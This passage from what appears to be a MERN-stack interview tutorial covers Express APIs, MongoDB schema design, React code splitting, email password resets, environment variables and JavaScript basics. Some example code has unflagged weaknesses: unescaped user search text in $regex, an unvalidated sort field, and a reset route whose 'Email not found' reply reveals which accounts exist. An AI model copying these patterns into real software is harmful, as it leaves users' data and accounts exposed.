"code": "VALIDATION_ERROR",
"message": "Invalid input data",
"details": [
{ "field": "email", "message": "Invalid email format" },
{ "field": "password", "message": "Min 8 characters required" }
]
}
}
// Utility function for consistent responses
const sendSuccess = (res, data, message, statusCode = 200) => {
res.status(statusCode).json({
success: true,
data,
message
});
};
const sendError = (res, message, code, statusCode = 400) => {
res.status(statusCode).json({
success: false,
error: { code, message }
});
};
// Method 1: URL Path Versioning (Most common)
app.use("/api/v1", v1Router);
app.use("/api/v2", v2Router);
// URLs: /api/v1/users, /api/v2/users
// Method 2: Header Versioning
app.use((req, res, next) => {
const version = req.headers["api-version"] || "v1";
req.apiVersion = version;
next();
});
// Method 3: Query Parameter
// /api/users?version=2
// When to create new version:
// - Breaking changes (remove field, change data type)
// - Major restructuring
// Don't version for: adding optional fields, bug fixes
router.get("/products", async (req, res) => {
// Get pagination params
const page = Math.max(1, parseInt(req.query.page) || 1);
const limit = Math.min(100, parseInt(req.query.limit) || 20); // Max 100
const skip = (page - 1) * limit;
// Execute query with pagination
const [products, total] = await Promise.all([
Product.find()
.skip(skip)
.limit(limit)
.sort({ createdAt: -1 }),
Product.countDocuments()
]);
res.json({
success: true,
data: products,
pagination: {
currentPage: page,
totalPages: Math.ceil(total / limit),
pageSize: limit,
totalItems: total,
hasNextPage: page * limit < total,
hasPrevPage: page > 1
}
});
});
router.get("/products", async (req, res) => {
const {
category, // ?category=Electronics
minPrice, // ?minPrice=1000
maxPrice, // ?maxPrice=50000
search, // ?search=laptop
sort = "-createdAt", // ?sort=price (asc) or ?sort=-price (desc)
page = 1,
limit = 20
} = req.query;
// Build filter object
const filter = {};
if (category) filter.category = category;
if (minPrice || maxPrice) {
filter.price = {};
if (minPrice) filter.price.$gte = Number(minPrice);
if (maxPrice) filter.price.$lte = Number(maxPrice);
}
if (search) {
filter.$or = [
{ name: { $regex: search, $options: "i" } },
{ description: { $regex: search, $options: "i" } }
];
}
// Parse sort
const sortObj = {};
if (sort.startsWith("-")) {
sortObj[sort.substring(1)] = -1; // Descending
} else {
sortObj[sort] = 1; // Ascending
}
const products = await Product.find(filter)
.sort(sortObj)
.skip((page - 1) * limit)
.limit(Number(limit));
res.json({ products });
});
const rateLimit = require("express-rate-limit");
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
message: "Too many requests, please try again later",
standardHeaders: true,
legacyHeaders: false
});
app.use("/api/", limiter);
/**
* @route GET /api/products
* @desc Get all products with filtering and pagination
* @access Public
* @query {string} category - Filter by category
* @query {number} minPrice - Minimum price filter
* @query {number} maxPrice - Maximum price filter
* @query {string} search - Search in name/description
* @query {string} sort - Sort field (prefix - for desc)
* @query {number} page - Page number (default: 1)
* @query {number} limit - Items per page (default: 20, max: 100)
* @returns {Object} { products, pagination }
* @example GET /api/products?category=Electronics&minPrice=10000&sort=-price&page=2
*/
💡 Production Checklist: Authentication, Authorization, Rate Limiting, Pagination, Filtering, Versioning, Error Handling, Documentation, CORS, HTTPS
Normalization is the process of organizing data to reduce redundancy and improve data integrity. In SQL, this is critical. In MongoDB, it's more flexible.
// ✅ Normalized - separate collections (like SQL tables)
// Users Collection
{
_id: "user1",
name: "Priya",
email: "priya@example.com"
}
// Orders Collection
{
_id: "order1",
userId: "user1", // Reference to user
total: 5000,
orderDate: "2025-01-15"
}
// OrderItems Collection
{
_id: "item1",
orderId: "order1", // Reference to order
productId: "prod1", // Reference to product
quantity: 2,
price: 1000
}
// Products Collection
{
_id: "prod1",
name: "Laptop",
price: 50000,
category: "Electronics"
}
// To get order with items - need $lookup (JOIN)
db.orders.aggregate([
{ $match: { _id: "order1" } },
{ $lookup: {
from: "orderitems",
localField: "_id",
foreignField: "orderId",
as: "items"
}},
{ $lookup: {
from: "users",
localField: "userId",
foreignField: "_id",
as: "user"
}}
]);
// ❌ Problem: Multiple queries or complex aggregation needed!
// ✅ Denormalized - embed related data
// Orders Collection (everything in one document!)
{
_id: "order1",
user: {
_id: "user1",
name: "Priya",
email: "priya@example.com"
},
items: [
{
productId: "prod1",
name: "Laptop",
price: 50000,
quantity: 1,
subtotal: 50000
},
{
productId: "prod2",
name: "Mouse",
price: 500,
quantity: 2,
subtotal: 1000
}
],
total: 51000,
orderDate: "2025-01-15",
shippingAddress: {
street: "123 Main St",
city: "Chennai",
pincode: "600001"
},
status: "delivered"
}
// ✅ Benefit: ONE query gets everything!
db.orders.findOne({ _id: "order1" });
// All data in single document - SUPER FAST!
// ✅ Use references when:
// 1. Data changes frequently
// User profile changes → don't want to update 1000 orders
{
_id: "order1",
userId: "user1", // Reference! User data can change
total: 5000
}
// 2. One-to-Many with large "many" side
// Blog with 10,000 comments → don't embed all comments!
{
_id: "post1",
title: "My Blog Post",
// Comments stored separately
}
// 3. Many-to-Many relationships
// Product can be in many orders, Order has many products
{
_id: "order1",
productIds: ["prod1", "prod2", "prod3"] // References
}
// ✅ Use embedding when:
// 1. One-to-Few (small arrays)
// User has 2-3 addresses
{
_id: "user1",
name: "Priya",
addresses: [
{ type: "home", street: "123 Main" },
{ type: "work", street: "456 Office" }
]
}
// 2. Data rarely changes
// Order snapshot - prices shouldn't change after order placed
{
_id: "order1",
items: [
{ name: "Laptop", price: 50000 } // Snapshot of price at order time
]
}
// 3. Data accessed together
// Blog post with its author name (not full user object)
{
_id: "post1",
title: "My Post",
author: {
_id: "user1",
name: "Priya" // Denormalized name for display
}
}
// Store reference + frequently accessed fields
// Blog Post
{
_id: "post1",
title: "10 React Tips",
content: "...",
author: {
_id: "user1", // Reference for full profile
name: "Priya Kumar", // Denormalized for display
avatar: "/avatars/priya.jpg" // Denormalized
},
// Full author object NOT included
// When needed: User.findById(post.author._id)
}
// Benefit: Fast reads (name/avatar available), but can get full user if needed
// Problem: If user changes name, old posts show old name
// Solution 1: Accept stale data (common for historical records)
// Solution 2: Update denormalized data when source changes
// When user updates profile
userSchema.post("save", async function() {
if (this.isModified("name") || this.isModified("avatar")) {
// Update all posts by this author
await Post.updateMany(
{ "author._id": this._id },
{
$set: {
"author.name": this.name,
"author.avatar": this.avatar
}
}
);
}
});
💡 MongoDB Philosophy: "Data that is accessed together should be stored together." Denormalize for read performance, normalize when data consistency is critical!
Runs on all HTTP methods and any path that starts with the specified path.
// Runs for ALL methods (GET, POST, PUT, etc.) and ALL paths
app.use((req, res, next) => {
console.log(`${req.method} ${req.url}`);
next();
});
// Runs for paths starting with "/api"
app.use("/api", (req, res, next) => {
console.log("API endpoint accessed");
next();
});
// Matches: /api, /api/users, /api/users/123, /api/anything
// Mount middleware only on specific path
app.use("/admin", adminAuthMiddleware);
// Runs for: /admin, /admin/users, /admin/settings
Runs on all HTTP methods but only for exact path match (or pattern match).
// Runs for ALL methods but ONLY on exact "/api/users"
app.all("/api/users", (req, res, next) => {
console.log("Accessing /api/users endpoint");
next();
});
// Matches: /api/users
// Does NOT match: /api/users/123
// With parameters - matches pattern
app.all("/api/users/:id", (req, res) => {
res.send(`User ${req.params.id} - Method: ${req.method}`);
});
// Matches: /api/users/123 (GET, POST, PUT, DELETE all work)
| Feature | app.use() | app.all() |
|---|---|---|
| Purpose | Middleware | Route handler |
| Path matching | Prefix match (starts with) | Exact match or pattern |
| HTTP methods | All methods | All methods |
| Use case | Logging, auth, parsing | Method-agnostic routes |
| Typical use | app.use(express.json()) | app.all("/api/*", handler) |
const express = require("express");
const app = express();
// ✅ app.use() for global middleware
app.use(express.json()); // Parse JSON for all routes
app.use(express.static("public")); // Serve static files
app.use(cors()); // Enable CORS globally
// ✅ app.use() for path-specific middleware
app.use("/api", apiRateLimiter); // Rate limit only API routes
app.use("/admin", requireAdmin); // Auth only for admin routes
// ✅ app.all() for method-agnostic endpoints
app.all("/health", (req, res) => {
res.json({ status: "healthy", uptime: process.uptime() });
});
// Works for GET, POST, PUT - any method to check health
// ✅ app.all() to catch all routes (404 handler)
app.all("*", (req, res) => {
res.status(404).json({
message: `Route ${req.originalUrl} not found`
});
});
// ❌ Common mistake - using app.use() for route
app.use("/users", (req, res) => {
res.send("Users"); // This also matches /users/123, /users/anything!
});
// ✅ Correct - use app.get() for specific route
app.get("/users", (req, res) => {
res.send("Users list");
});
// Use app.use() to mount entire router on a prefix
const v1Router = require("./routes/v1");
const v2Router = require("./routes/v2");
app.use("/api/v1", v1Router); // All v1 routes
app.use("/api/v2", v2Router); // All v2 routes
// Use app.all() for wildcard matching
app.all("/api/v1/*", (req, res, next) => {
console.log("V1 API accessed");
next();
});
// ❌ Wrong order - 404 handler runs first!
app.all("*", (req, res) => res.status(404).send("Not found"));
app.get("/users", (req, res) => res.send("Users")); // Never reached!
// ✅ Correct order - specific routes first
app.get("/users", (req, res) => res.send("Users"));
app.all("*", (req, res) => res.status(404).send("Not found"));
💡 Interview Tip: "Use app.use() for middleware that needs to run on multiple routes. Use app.all() when you need to handle all HTTP methods for a specific route pattern."
Code Splitting is a technique to split your JavaScript bundle into smaller chunks that can be loaded on demand. Without it, users download your entire app on first visit - even code for pages they might never see!
// ❌ All imports at the top = everything in one bundle
import Dashboard from "./Dashboard"; // 500KB
import AdminPanel from "./AdminPanel"; // 300KB
import Reports from "./Reports"; // 400KB
import Settings from "./Settings"; // 200KB
// User visits homepage → Downloads ALL 1.4MB immediately! 💀
import { lazy, Suspense } from "react";
import { BrowserRouter, Routes, Route } from "react-router-dom";
// ✅ Lazy load components (only when needed)
const Dashboard = lazy(() => import("./Dashboard"));
const AdminPanel = lazy(() => import("./AdminPanel"));
const Reports = lazy(() => import("./Reports"));
const Settings = lazy(() => import("./Settings"));
function App() {
return (
<BrowserRouter>
<Suspense fallback={<div>Loading...</div>}>
<Routes>
<Route path="/" element={<Dashboard />} />
<Route path="/admin" element={<AdminPanel />} />
<Route path="/reports" element={<Reports />} />
<Route path="/settings" element={<Settings />} />
</Routes>
</Suspense>
</BrowserRouter>
);
}
// Now: User visits homepage → Only downloads Dashboard chunk!
// When they navigate to /admin → AdminPanel chunk loads then
function App() {
return (
<div>
<Header /> {/* Always loaded */}
<Suspense fallback={<PageSkeleton />}>
<Routes>
<Route path="/" element={<Home />} />
<Route path="/dashboard" element={
<Suspense fallback={<DashboardSkeleton />}>
<Dashboard />
</Suspense>
} />
<Route path="/analytics" element={
<Suspense fallback={<AnalyticsSkeleton />}>
<Analytics />
</Suspense>
} />
</Routes>
</Suspense>
</div>
);
}
// Chart.js is 200KB - only load when needed!
import { lazy, Suspense, useState } from "react";
const HeavyChart = lazy(() => import("./HeavyChart"));
function Dashboard() {
const [showChart, setShowChart] = useState(false);
return (
<div>
<button onClick={() => setShowChart(true)}>Show Analytics</button>
{showChart && (
<Suspense fallback={<p>Loading chart...</p>}>
<HeavyChart />
</Suspense>
)}
</div>
);
}
function Navigation() {
const prefetchAdmin = () => {
// Prefetch when user hovers over link
import("./AdminPanel");
};
return (
<nav>
<Link to="/admin" onMouseEnter={prefetchAdmin}>
Admin Panel
</Link>
</nav>
);
}
// When user hovers, chunk downloads in background!
// By the time they click → instant load!
class ErrorBoundary extends React.Component {
state = { hasError: false };
static getDerivedStateFromError(error) {
return { hasError: true };
}
render() {
if (this.state.hasError) {
return <div>Failed to load component. <button onClick={() => window.location.reload()}>Retry</button></div>;
}
return this.props.children;
}
}
// Wrap Suspense in ErrorBoundary
<ErrorBoundary>
<Suspense fallback={<Loading />}>
<LazyComponent />
</Suspense>
</ErrorBoundary>
# Install webpack-bundle-analyzer
npm install --save-dev webpack-bundle-analyzer
# Add to package.json scripts:
"analyze": "npx react-scripts build && npx webpack-bundle-analyzer build/static/js/*.js"
# Run analysis
npm run analyze
# Opens visual map of your bundle - see what's taking space!
💡 Real Impact: Flipkart reduced initial load time from 6.5s to 2.3s using code splitting. This is a MUST for production apps!
Nodemailer is the most popular Node.js module for sending emails. It supports Gmail, SMTP, SendGrid, and many other services.
// Install: npm install nodemailer
// config/email.js
const nodemailer = require("nodemailer");
// Create transporter (configure email service)
const transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: process.env.EMAIL_USER,
pass: process.env.EMAIL_PASS // Use App Password, not Gmail password!
}
});
// Verify connection
transporter.verify((error, success) => {
if (error) console.error("Email config error:", error);
else console.log("✅ Email server ready");
});
module.exports = transporter;
// services/emailService.js
const transporter = require("../config/email");
const sendEmail = async ({ to, subject, html, text }) => {
const mailOptions = {
from: `"MERN App" <${process.env.EMAIL_USER}>`,
to,
subject,
html, // HTML version
text // Plain text fallback
};
return await transporter.sendMail(mailOptions);
};
// Welcome Email
const sendWelcomeEmail = async (user) => {
await sendEmail({
to: user.email,
subject: "Welcome to Our Platform! 🎉",
html: `
<div style="font-family: Arial; max-width: 600px; margin: auto;">
<h2 style="color: #4CAF50;">Welcome, ${user.name}!</h2>
<p>Thank you for joining our platform. We're excited to have you!</p>
<a href="${process.env.CLIENT_URL}/dashboard"
style="background: #4CAF50; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px;">
Get Started
</a>
<p>Best regards,<br>The MERN Team</p>
</div>
`
});
};
// Password Reset Email with Token
const sendPasswordResetEmail = async (user, resetToken) => {
const resetUrl = `${process.env.CLIENT_URL}/reset-password/${resetToken}`;
await sendEmail({
to: user.email,
subject: "Password Reset Request",
html: `
<h2>Password Reset</h2>
<p>You requested to reset your password. Click the link below:</p>
<a href="${resetUrl}">Reset Password</a>
<p><strong>This link expires in 1 hour.</strong></p>
<p>If you didn't request this, ignore this email.</p>
`
});
};
module.exports = { sendWelcomeEmail, sendPasswordResetEmail };
const crypto = require("crypto");
// Request password reset
router.post("/forgot-password", async (req, res) => {
const user = await User.findOne({ email: req.body.email });
if (!user) return res.status(404).json({ message: "Email not found" });
// Generate reset token
const resetToken = crypto.randomBytes(32).toString("hex");
const hashedToken = crypto.createHash("sha256").update(resetToken).digest("hex");
// Save token to user (expires in 1 hour)
user.resetPasswordToken = hashedToken;
user.resetPasswordExpires = Date.now() + 3600000;
await user.save();
// Send email with unhashed token (token in URL)
await sendPasswordResetEmail(user, resetToken);
res.json({ message: "Reset email sent!" });
});
// Reset password with token
router.post("/reset-password/:token", async (req, res) => {
const hashedToken = crypto.createHash("sha256").update(req.params.token).digest("hex");
const user = await User.findOne({
resetPasswordToken: hashedToken,
resetPasswordExpires: { $gt: Date.now() } // Not expired
});
if (!user) return res.status(400).json({ message: "Invalid or expired token" });
user.password = await bcrypt.hash(req.body.password, 12);
user.resetPasswordToken = undefined;
user.resetPasswordExpires = undefined;
await user.save();
res.json({ message: "Password reset successful!" });
});
Environment variables store sensitive configuration data (database URLs, API keys, secrets) outside of source code. This prevents secrets from being committed to Git.
// Install: npm install dotenv
// .env file (NEVER commit this to Git!)
PORT=5000
NODE_ENV=development
MONGODB_URI=mongodb://localhost:27017/mernapp
JWT_SECRET=my_super_secret_jwt_key_2025_never_share
JWT_EXPIRE=7d
CLIENT_URL=http://localhost:3000
# Cloudinary
CLOUD_NAME=my_cloudinary_name
CLOUD_API_KEY=123456789
CLOUD_API_SECRET=abc123def456
# Email (NodeMailer/SendGrid)
EMAIL_SERVICE=gmail
EMAIL_USER=myapp@gmail.com
EMAIL_PASS=my_app_password
# Redis
REDIS_URL=redis://localhost:6379
# Stripe Payment
STRIPE_SECRET_KEY=sk_test_abc123
// server.js - Load env variables FIRST before anything else!
require("dotenv").config(); // Must be at top!
const express = require("express");
const PORT = process.env.PORT || 5000;
const MONGO_URI = process.env.MONGODB_URI;
// config/index.js - Centralize all config with validation
const requiredEnvVars = [
"MONGODB_URI",
"JWT_SECRET",
"CLIENT_URL"
];
// Validate required variables exist
requiredEnvVars.forEach(varName => {
if (!process.env[varName]) {
throw new Error(`Missing required environment variable: ${varName}`);
}
});
module.exports = {
// Server
port: parseInt(process.env.PORT) || 5000,
nodeEnv: process.env.NODE_ENV || "development",
isProduction: process.env.NODE_ENV === "production",
// Database
mongoUri: process.env.MONGODB_URI,
// JWT
jwtSecret: process.env.JWT_SECRET,
jwtExpire: process.env.JWT_EXPIRE || "7d",
// Client
clientUrl: process.env.CLIENT_URL,
// Cloudinary
cloudinary: {
cloudName: process.env.CLOUD_NAME,
apiKey: process.env.CLOUD_API_KEY,
apiSecret: process.env.CLOUD_API_SECRET,
}
};
// Usage in other files
const config = require("./config");
console.log(config.port); // 5000
console.log(config.isProduction); // false
// React REQUIRES variables to start with REACT_APP_
// .env (for development)
REACT_APP_API_URL=http://localhost:5000/api
REACT_APP_GOOGLE_MAPS_KEY=AIza...
// .env.production (for production build)
REACT_APP_API_URL=https://myapp.com/api
// In React code
const apiUrl = process.env.REACT_APP_API_URL;
const mapsKey = process.env.REACT_APP_GOOGLE_MAPS_KEY;
// NOTE: React env vars are baked into the build!
// NEVER put secret keys in React env vars - they're visible in browser!
# .gitignore
.env
.env.local
.env.production
.env.development
# Share template instead (no real values)
# Create .env.example with placeholder values:
PORT=5000
MONGODB_URI=your_mongodb_uri_here
JWT_SECRET=your_jwt_secret_here
// Regular function
function add(a, b) {
return a + b;
}
// Arrow function variations
const add = (a, b) => a + b; // Implicit return
const addFull = (a, b) => { return a + b; }; // Explicit return
const greet = name => `Hello, ${name}!`; // Single param, no parens needed
const getObject = () => ({ name: "Priya" }); // Return object (wrap in parens!)
| Feature | Regular Function | Arrow Function |
|---|---|---|
| this binding | Own this (dynamic) | Inherits this from outer scope (lexical) |
| arguments object | ✅ Has it | ❌ No (use rest params) |
| Constructor | ✅ Can use new | ❌ Cannot use new |
| Hoisting | ✅ Fully hoisted | ❌ Not hoisted (const) |
| Prototype | Has prototype | No prototype |
// ❌ Regular function - "this" is undefined in class methods callback
class Timer {
constructor() {
this.seconds = 0;
}
start() {
setInterval(function() {
this.seconds++; // ❌ "this" here is window/global, not Timer!
console.log(this.seconds); // NaN!
}, 1000);
}
}
// ✅ Arrow function - "this" is inherited from start() method
class Timer {
constructor() {
this.seconds = 0;
}
start() {
setInterval(() => {
this.seconds++; // ✅ "this" is the Timer instance!
console.log(this.seconds); // 1, 2, 3...
}, 1000);
}
}
// ✅ Arrow functions in React event handlers
class Button extends React.Component {
handleClick = () => { // Arrow function as class field
console.log(this.props.label); // "this" correctly refers to component
}
render() {
return <button onClick={this.handleClick}>Click</button>;
}
}
// ✅ Use Arrow for: callbacks, event handlers, short functions
const doubled = numbers.map(n => n * 2);
app.get("/", (req, res) => res.send("Hello"));
// ✅ Use Regular for: object methods, constructors, when you need "this"
const user = {
name: "Priya",
greet: function() {
return `Hello, I'm ${this.name}`; // "this" = user object
}
};
// ❌ Arrow in object methods can cause "this" issues
const user2 = {
name: "Ravi",
greet: () => `Hello, I'm ${this.name}` // "this" = outer scope (not user2!)
};
MongoDB Atlas is the official cloud-hosted database service for MongoDB. It is fully managed, meaning Atlas handles backups, scaling, updates, and security automatically.
// 1. Create account at mongodb.com/cloud/atlas
// 2. Create a new Project
// 3. Build a Cluster:
// - Choose Cloud Provider (AWS recommended)
// - Choose Region (nearest to your users)
// - Choose Tier (M0 = Free, M10 = $57/month, M30 = Production)
// 4. Security Setup:
// - Create Database User: admin / SecurePassword123!
// - Network Access: Add IP Address
// → 0.0.0.0/0 for all IPs (development)
// → Specific IP for production servers
// 5. Get Connection String
// mongodb+srv://admin:password@cluster0.abc123.mongodb.net/myDatabase
// .env file
MONGODB_URI=mongodb+srv://admin:SecurePass@cluster0.xyz.mongodb.net/mernapp?retryWrites=true&w=majority
// server.js
const mongoose = require("mongoose");
const connectDB = async () => {
try {
const conn = await mongoose.connect(process.env.MONGODB_URI, {
useNewUrlParser: true,
useUnifiedTopology: true,
});
console.log(`✅ MongoDB Atlas Connected: ${conn.connection.host}`);
} catch (error) {
console.error("❌ MongoDB Connection Error:", error.message);
process.exit(1); // Exit process on connection failure
}
};
// Handle disconnection
mongoose.connection.on("disconnected", () => {
console.log("MongoDB disconnected! Reconnecting...");
});
module.exports = connectDB;
// In server.js main file
connectDB();
// 1. Performance Advisor - Suggests indexes automatically
// 2. Real-Time Performance Panel - Monitor queries
// 3. Data Explorer - Browse data visually
// 4. Charts - Create data visualizations
// 5. Atlas Search (Full-Text Search)
const results = await Product.aggregate([
{
$search: {
index: "product_search",
text: {
query: "laptop gaming",
path: ["name", "description"],
fuzzy: { maxEdits: 1 } // Typo tolerance!
}
}
},
{ $limit: 10 }
]);
Both use the ... (three dots) syntax but in different contexts:
// 1. Spread in Arrays
const fruits = ["apple", "banana", "cherry"];
const moreFruits = ["mango", ...fruits, "grape"];
console.log(moreFruits); // ["mango", "apple", "banana", "cherry", "grape"]
// Copy array (shallow copy)
const original = [1, 2, 3];
const copy = [...original]; // New array, not a reference!
copy.push(4);
console.log(original); // [1, 2, 3] - unchanged
console.log(copy); // [1, 2, 3, 4]
// Merge arrays
const arr1 = [1, 2, 3];
const arr2 = [4, 5, 6];
const merged = [...arr1, ...arr2]; // [1, 2, 3, 4, 5, 6]
// 2. Spread in Objects
const user = { name: "Priya", age: 25 };
const userWithRole = { ...user, role: "admin" }; // Add new property
console.log(userWithRole); // { name: "Priya", age: 25, role: "admin" }
// Update specific property (immutable update)
const updatedUser = { ...user, age: 26 }; // age overrides original
console.log(updatedUser); // { name: "Priya", age: 26 }
// THIS IS HOW REACT STATE IS UPDATED IMMUTABLY!
setUser(prev => ({ ...prev, age: 26 })); // Spread previous, override age
// Merge objects (last property wins)
const defaults = { theme: "light", language: "en", notifications: true };
const userPrefs = { theme: "dark", fontSize: 14 };
const settings = { ...defaults, ...userPrefs }; // userPrefs overrides defaults
console.log(settings); // { theme: "dark", language: "en", notifications: true, fontSize: 14 }
// 3. Spread with Function Calls
const numbers = [5, 2, 8, 1, 9, 3];
console.log(Math.max(...numbers)); // 9 (instead of Math.max(5, 2, 8, 1, 9, 3))
console.log(Math.min(...numbers)); // 1
// Collect remaining arguments into array
function sum(...numbers) {
return numbers.reduce((total, num) => total + num, 0);
}
console.log(sum(1, 2, 3)); // 6
console.log(sum(1, 2, 3, 4, 5)); // 15
console.log(sum(10)); // 10
// First params named, rest collected
function createUser(name, email, ...permissions) {
console.log(name); // "Priya"
console.log(email); // "priya@test.com"
console.log(permissions); // ["read", "write", "delete"]
}
createUser("Priya", "priya@test.com", "read", "write", "delete");
// Updating nested state correctly with spread
const [form, setForm] = useState({
user: { name: "", email: "" },
address: { city: "", pincode: "" }
});
// Update nested city
setForm(prev => ({
...prev, // Keep all top-level
address: {
...prev.address, // Keep all address fields
city: "Chennai" // Override only city
}
}));
Destructuring is an ES6 feature that allows you to unpack values from arrays or properties from objects into distinct variables. It makes code cleaner and more readable.
// Traditional way
const user = { name: "Priya", age: 25, city: "Chennai", role: "developer" };
const name = user.name;
const age = user.age;
// ✅ Destructuring way
const { name, age, city, role } = user;
console.log(name); // "Priya"
console.log(age); // 25
// Rename while destructuring
const { name: userName, age: userAge } = user;
console.log(userName); // "Priya"
// Default values
const { name, salary = 50000 } = user; // salary not in user, uses default 50000
// Nested object destructuring
const employee = {
id: 1,
name: "Ravi",
address: {
city: "Bangalore",
state: "Karnataka",
pincode: "560001"
}
};
const { name: empName, address: { city, pincode } } = employee;
console.log(empName); // "Ravi"
console.log(city); // "Bangalore"
// Rest in object destructuring
const { id, ...rest } = employee;
console.log(rest); // { name: "Ravi", address: {...} } - everything except id
const colors = ["red", "green", "blue", "yellow", "orange"];
// Traditional
const first = colors[0];
const second = colors[1];
// ✅ Destructuring
const [first, second, third] = colors;
console.log(first); // "red"
console.log(third); // "blue"
// Skip elements with commas
const [, , blue] = colors; // Skip first two
console.log(blue); // "blue"
// Default values
const [a, b, c = "purple"] = ["red", "green"];
console.log(c); // "purple" - default used
// Swap variables (no temp variable needed!)
let x = 10, y = 20;
[x, y] = [y, x];
console.log(x, y); // 20, 10
// Rest in array destructuring
const [head, ...tail] = [1, 2, 3, 4, 5];
console.log(head); // 1
console.log(tail); // [2, 3, 4, 5]
// React component props destructuring
function UserCard({ name, age, city = "Unknown", onDelete }) {
return <div>{name}, {age}, {city}</div>;
}
// API response destructuring
async function getUserData(userId) {
const { data: { user, token } } = await axios.get(`/api/users/${userId}`);
return { user, token };
}
// useState destructuring (React)
const [count, setCount] = useState(0); // Array destructuring!
const [{ name, email }, setUser] = useState({ name: "", email: "" });
const users = [
{ id: 1, name: "Priya", role: "admin" },
{ id: 2, name: "Ravi", role: "user" }
];
for (const { id, name, role } of users) {
console.log(`${id}: ${name} is ${role}`);
}
// Object.entries with destructuring
const config = { apiUrl: "https://api.example.com", timeout: 5000 };
for (const [key, value] of Object.entries(config)) {
console.log(`${key}: ${value}`);
}
Representational State Transfer – multiple endpoints, each returns fixed data structure
// Multiple requests needed to get user data with posts and comments:
GET /api/users/123 → User data (but no posts)
GET /api/users/123/posts → Posts (but no comments)
GET /api/posts/456/comments → Comments
// Problem: Over-fetching and Under-fetching!
// Over-fetching: GET /users returns 50 fields, you only need name and email
// Under-fetching: Need 3 API calls to build one page
Query language for APIs – single endpoint, client specifies exactly what data it needs
// Single request gets EXACTLY what you need!
POST /graphql
{
query {
user(id: "123") {
name # Only these fields!
email
posts {
title
comments {
text
author { name }
}
}
}
}
}
// Response has EXACTLY these fields - no more, no less!
const { ApolloServer, gql } = require("apollo-server-express");
// Schema Definition
const typeDefs = gql`
type User {
id: ID!
name: String!
email: String!
posts: [Post!]!
}
type Post {
id: ID!
title: String!
content: String!
author: User!
}
type Query {
users: [User!]!
user(id: ID!): User
posts: [Post!]!
}
type Mutation {
createUser(name: String!, email: String!): User!
deleteUser(id: ID!): Boolean!
}
`;
// Resolvers
const resolvers = {
Query: {
users: () => User.find(),
user: (_, { id }) => User.findById(id),
},
User: {
posts: (user) => Post.find({ authorId: user.id })
},
Mutation: {
createUser: async (_, { name, email }) => {
return await User.create({ name, email });
}
}
};
const server = new ApolloServer({ typeDefs, resolvers });
await server.start();
server.applyMiddleware({ app });
| Criteria | REST | GraphQL |
|---|---|---|
| Simplicity | ✅ Simpler to set up | Complex setup |
| Flexibility | Fixed responses | ✅ Client controls data |
| Caching | ✅ Easy (HTTP caching) | Complex |
| Mobile Apps | Over-fetching issues | ✅ Perfect for mobile |
| File Upload | ✅ Easy | Needs workaround |
| Best for | Simple CRUD APIs | Complex data, mobile apps |
💡 MNC Reality: Most companies (TCS, Infosys) use REST. Companies like GitHub, Twitter, Shopify, Facebook use GraphQL. Know both!
// Traditional HTTP:
Client: "Hey server, any new messages?" (Request)
Server: "No, nothing yet." (Response - connection closed!)
Client: "Hey server, any new messages?" (Request again after 1s)
Server: "Yes! Here: Hello from Priya" (Response - connection closed again!)
// This is called POLLING - very inefficient!
// 1000 requests per minute just to check for updates!
// WebSocket:
Client: "Let's connect!"
Server: "Sure, connection established!"
// ... Connection stays OPEN ...
Server: "Hey, new message arrived: Hello from Priya!" (Pushes instantly!)
// No polling needed! Server can send data anytime!
| Feature | HTTP | WebSocket |
|---|---|---|
| Connection | Opens & closes per request | Persistent, stays open |
| Direction | Client → Server only | Bidirectional (both ways) |
| Overhead | HTTP headers every request | Small frames after handshake |
| Use Case | REST APIs, File transfers | Chat, Gaming, Live data |
| Protocol | http:// or https:// | ws:// or wss:// |
// Backend
const io = require("socket.io")(server);
io.on("connection", (socket) => {
// Server → Client
socket.emit("welcome", { message: "Connected!" });
// Client → Server → All others in room
socket.on("chat:message", (data) => {
io.to(data.room).emit("chat:message", data);
});
});
// Frontend (React)
import io from "socket.io-client";
const socket = io("http://localhost:5000");
socket.on("welcome", (data) => console.log(data.message));
socket.emit("chat:message", { room: "general", text: "Hello!" });
TypeScript is a statically typed superset of JavaScript developed by Microsoft. It adds type annotations to JavaScript, catching errors at compile time instead of runtime.
// Basic Types
let name: string = "Priya";
let age: number = 25;
let isActive: boolean = true;
let scores: number[] = [90, 85, 78];
let mixed: (string | number)[] = ["React", 5, "Node"];
// Any (avoid this! Defeats TypeScript purpose)
let anything: any = "hello";
// Interface - define object shape
interface User {
id: string;
name: string;
email: string;
age?: number; // ? = optional
readonly role: string; // readonly = cannot be changed after creation
}
// Function with types
function createUser(name: string, email: string): User {
return {
id: Math.random().toString(36),
name,
email,
role: "user"
};
}
// Generic function
function getFirstItem<T>(arr: T[]): T {
return arr[0];
}
const firstUser = getFirstItem<User>(users); // TypeScript knows it's User!
const firstNum = getFirstItem<number>([1, 2, 3]); // TypeScript knows it's number!
// types/index.ts - Define shared types
export interface UserPayload {
userId: string;
email: string;
role: "user" | "admin"; // Union type - only these values allowed
}
// Extend Express Request type
declare global {
namespace Express {
interface Request {
user?: UserPayload; // Add user to request
}
}
}
// routes/users.ts
import { Request, Response, NextFunction } from "express";
const getUsers = async (req: Request, res: Response, next: NextFunction) => {
try {
const users = await User.find();
res.status(200).json(users);
} catch (error) {
next(error); // TypeScript enforces proper error passing
}
};
// Component Props typing
interface ButtonProps {
label: string;
onClick: () => void;
variant?: "primary" | "secondary" | "danger";
disabled?: boolean;
}
const Button: React.FC<ButtonProps> = ({
label,
onClick,
variant = "primary",
disabled = false
}) => {
return (
<button
onClick={onClick}
disabled={disabled}
className={`btn btn-${variant}`}
>
{label}
</button>
);
};
// useState with TypeScript
const [user, setUser] = useState<User | null>(null);
const [products, setProducts] = useState<Product[]>([]);
// routes/products.js
router.get("/products", async (req, res) => {
try {
const {
search, // ?search=laptop
category, // ?category=Electronics
minPrice, // ?minPrice=1000
maxPrice, // ?maxPrice=50000
sort, // ?sort=price_asc or price_desc
page = 1,
limit = 10
} = req.query;
// Build dynamic MongoDB query
const query = {};
// Text search (requires text index)
if (search) {
query.$or = [
{ name: { $regex: search, $options: "i" } }, // case-insensitive
{ description: { $regex: search, $options: "i" } }
];
}
// Category filter
if (category && category !== "All") {
query.category = category;
}
// Price range filter
if (minPrice || maxPrice) {
query.price = {};
if (minPrice) query.price.$gte = Number(minPrice);
if (maxPrice) query.price.$lte = Number(maxPrice);
}
